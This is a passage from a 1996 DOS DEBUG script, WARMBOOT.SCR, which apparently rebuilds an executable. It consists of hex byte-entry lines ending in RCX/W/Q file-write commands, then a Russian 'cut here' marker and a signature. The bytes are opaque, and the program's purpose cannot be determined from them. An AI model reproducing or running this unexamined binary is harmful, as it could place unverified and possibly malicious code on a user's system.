CB E5 E 0E30 D1 C1 E0 36 F7 C6 6C D5 77 FD 03 E4 0E 6A 10 7F E 0E40 63 CF 8B A2 C5 92 7A 0F 0F 47 85 93 F0 4B 2B 66 E 0E50 EC CC 9B 36 E5 11 C2 84 F5 12 99 63 29 E3 0D 6D E 0E60 97 6E C9 4E B2 C3 85 37 96 FA B2 26 8F 89 69 C5 E 0E70 70 57 C5 E2 B6 D1 F2 30 59 E1 97 BB 57 C4 E6 F1 E 0E80 FC 06 66 CC 6B 31 3E B0 F7 EC 45 7D B8 96 2E 81 E 0E90 74 91 9B B2 4C 74 13 CA 77 22 3E EC D5 DD 92 7B E 0EA0 DB 7C 17 39 05 AE 92 18 2F 1D 58 A6 DD 58 2A 61 E 0EB0 BD 35 05 01 0A A4 46 75 3F 2D 1A 65 AB 7E F5 BA E 0EC0 41 BB 97 B8 AD 43 3A B7 DC 41 39 87 B9 04 7C 73 E 0ED0 D2 5E 83 F8 11 68 92 61 9D 9D DF BF 8A 7A 06 CF E 0EE0 87 DB 14 DB 0E 8F 2D C7 ED 59 85 FE 3D 26 2E 9E E 0EF0 21 D3 08 B5 D7 F5 C3 87 C8 A9 B9 46 6F DB 5E F7 E 0F00 91 CC 37 AA F3 B3 7B CA 5C EF 88 EB ED 64 B6 7B E 0F10 58 F4 84 2D E7 62 7F 58 52 A3 8A 83 11 5D 4E C5 E 0F20 49 CC DE 37 FA 2F 54 A6 47 65 FD 2E C0 ED 31 0A E 0F30 3F 64 EC 56 3D 47 2B 16 B2 3C F2 19 A5 C2 C2 57 E 0F40 22 E6 D7 F7 63 19 F7 17 9D D8 D5 5A 77 36 55 56 E 0F50 84 1C 5D D8 DA 06 D3 63 1C 6A 99 93 B9 DD EB D6 E 0F60 74 8A BD 79 64 F6 5D F6 E9 BC 35 5C 0D 95 E2 AD E 0F70 35 D6 3A 32 D6 37 B0 F0 B3 95 ED A9 4B BE 30 77 E 0F80 84 85 A0 B7 44 EA 98 DE 8B B1 33 33 88 1E 6D F1 E 0F90 7F C8 DC 91 3B 8A 24 0C 9E 28 8C D1 8E D1 9E 71 E 0FA0 5B 4A 63 69 EE 24 A9 36 87 48 FD 69 8F B2 6D BA E 0FB0 57 21 DF 5D B7 A5 7F A9 7F C4 85 2A EA 4F E1 40 E 0FC0 87 4C AA AD AE A4 10 21 1D E8 29 20 CB A2 31 54 E 0FD0 10 B3 EC B0 CB 98 58 55 3E 72 D5 36 5F CE 5F D9 E 0FE0 9B 71 57 FC EE 99 0F 47 33 BB 8D A8 39 54 53 C5 E 0FF0 75 C0 B3 FB AD 55 A4 B0 54 96 BA 6D BF 59 93 B6 E 1000 81 BF C3 6C 48 FF 87 C7 3F 2A 57 6D 85 9D E0 68 E 1010 3C A0 42 D1 63 ED 8A 22 D0 FB 84 7E 75 63 A7 C0 E 1020 E8 25 9C BE 53 EA A5 A3 9B B2 59 4C E7 85 3D 7D E 1030 62 CB 18 7C 73 58 42 93 AA 82 F7 D6 D2 C1 D7 4A E 1040 14 9B AE C0 19 B0 D6 01 16 1B 5C 16 EB C3 33 77 E 1050 D5 D7 83 05 F6 CD 26 85 E6 00 2A C9 F6 B9 0B 91 E 1060 63 DB 2B 1F 57 40 A4 0D 9C 27 AA AA B8 54 F5 C8 E 1070 7A D4 69 EC 95 19 FF 02 A8 32 FB 7A 57 A0 17 E6 E 1080 19 7A 2A EF 62 5C 3F 7B B1 5F 5E DB 2E 5B EC E5 E 1090 90 4D 0C A1 A1 E0 71 F5 33 77 1A CC D5 E1 79 BA E 10A0 B6 7D B4 42 EF B3 DB 52 B3 EC A3 62 17 37 A4 F7 E 10B0 A9 ED 36 ED 3B 08 8D A7 19 5A D4 F6 A9 EE 62 18 E 10C0 63 74 D8 16 8D D1 C4 BE C4 0B E4 65 3C 4E F6 5B E 10D0 1E C5 97 DD 37 A6 FD A0 FF C7 BF F0 D6 1F E3 66 E 10E0 88 57 AE C2 32 90 76 1C 52 49 D6 96 A7 12 8E 0A E 10F0 6F 6C 5A 8F F3 65 BD 24 D4 DE 7A AC 86 4C 20 88 E 1100 E6 50 CB E4 01 6D 01 49 8E 48 9D 02 EB 3E E1 14 E 1110 E4 FE 52 F6 F3 78 EB C5 8D D3 FD 08 19 AF 89 DB E 1120 55 5A DC 6F 49 F5 1B EC E1 15 0F A2 56 5E B3 5D E 1130 E8 0C A0 BD 8A 85 B4 A4 FB C6 C7 5F E6 C8 33 7E E 1140 7B 2F 9A 4D 24 FB 75 00 C6 81 2D 21 2F 2C 66 67 E 1150 A9 76 92 3F D6 2F AE 58 1A CF BB D7 E9 33 D2 FC E 1160 9D 33 FA 43 38 99 E9 45 93 F6 0C 6A 1F 8B 90 56 E 1170 D1 04 E8 FA F9 D9 4B 69 99 D1 F2 87 2D 39 07 5E E 1180 75 DA 59 52 4E 7F D8 99 BD 40 21 94 D8 37 D3 94 E 1190 09 7F EC 9F 93 10 A5 4C 2E 55 FB 63 1B DF 8E CE E 11A0 3D 31 75 0D BF 32 B2 CA 6B F0 69 2E C7 D5 9A C7 E 11B0 F7 B1 33 5E ED EB D2 A8 F8 B1 72 16 DF 23 D1 D6 E 11C0 13 5D 53 72 FA 05 10 96 E4 B6 AD ED F9 53 6D 74 E 11D0 61 93 4D BF 74 4D BA 76 4D F0 E9 32 9D D2 96 E9 E 11E0 1B 6A 75 6E 5A B8 1B AB C9 0B DA 82 95 6B 75 49 E 11F0 5C 6F 81 49 0F 86 9A B4 7B 9A 15 B4 58 B3 BF 7A E 1200 EA AA 76 24 7C 76 1C CF CD 7D 1C 25 E2 26 49 0F E 1210 A5 C8 D2 22 2B 0E C1 9A 7B B7 DB 8D 36 67 71 6A E 1220 92 2A 39 37 DA 6A E7 86 70 B2 09 08 42 2C 2F D3 E 1230 2A 53 52 7D D9 97 43 EA 31 55 80 F9 35 9C FB 6F E 1240 72 BD 40 ED 29 15 FA BF 58 BD B4 8D C4 6C 6F 9B E 1250 F2 6E 0D 2E 40 CE 21 1B 49 18 80 E7 F5 67 D5 F8 E 1260 6A 9C 56 FD E4 7F 21 08 80 03 10 7F EC B8 31 A0 E 1270 06 5E 0B 39 89 32 0B D1 05 36 79 39 B6 E0 27 65 E 1280 BB 4D 9D 39 7E 54 E9 A0 4F 2B 21 A5 14 5A 87 D0 E 1290 20 B5 7E 4E FC 67 43 E4 DA 65 DA 14 32 4A 15 50 E 12A0 03 8F 9E 07 CA F7 C5 73 D7 D3 CA EA 0A DD E0 A6 E 12B0 AE B9 C1 89 89 4E C5 38 CD 3A ED 99 28 EF 07 9E E 12C0 AF 9E BF 80 CD 80 0A 93 80 A6 4D E0 B9 C9 DC 23 E 12D0 2F A0 7D B3 9C C2 B4 4C 19 40 59 FF ED 82 1F 6B E 12E0 FF 2E E6 E7 FF 97 B3 D9 D2 FF 61 9B BC 5E E4 0D E 12F0 0A 9C 2A 0A DD 65 25 B7 C1 4B 88 61 13 77 49 6E E 1300 CF 66 F5 36 25 1E 16 7B 0E C5 29 9A D4 5E E4 28 E 1310 88 8B F4 AB B6 6C 31 D3 35 98 F4 B8 4B AC 01 FD E 1320 0A 85 18 4E 56 89 79 AA 01 49 EA D4 CD 26 31 9C E 1330 34 1F 78 25 E4 F5 E2 F4 21 D4 44 6C F6 9A 83 67 E 1340 AB 23 84 E0 CC 2B 38 9A FA 00 3F F6 0A E9 52 01 E 1350 16 27 59 A1 00 FF B5 28 89 5F 3D 5E F4 26 95 86 E 1360 2D 33 65 6A 33 32 F5 E1 70 9E AF 61 79 0C 20 11 E 1370 DF 27 56 9F 60 58 09 E0 85 00 96 22 0A 50 1A A3 E 1380 80 9E BC 9E AD 80 BF CF 9E F2 27 F4 B5 7E 0E AE E 1390 47 48 DE 5D D2 07 78 E4 5C DC 06 99 C9 C8 E3 9F E 13A0 FF F1 F3 DE D1 97 6F D6 37 9C D1 3B 6A DE 74 38 E 13B0 17 57 07 77 27 56 F3 6E 2D BB F7 5D F3 63 D1 B2 E 13C0 E6 DD 1B 9E CB B7 9D 75 70 75 F6 1B 5B DC 4D 9A E 13D0 2E DE DA 5E DD CC BB 8E 86 8F 17 6E 2E E6 E8 69 E 13E0 C1 B9 B9 C0 C9 83 26 1B 9C 4C 3A 3A 7B 1A 27 12 E 13F0 E6 1C 4B 99 05 A8 96 60 D2 08 0C C1 00 F2 67 D9 E 1400 74 3C 01 00 20 82 00 60 EA 00 00 RCX 130B W Q =========== резать здесь ========== end of -■[WARMBOOT.SCR]■- ======== (c) Dirty Nazi 1996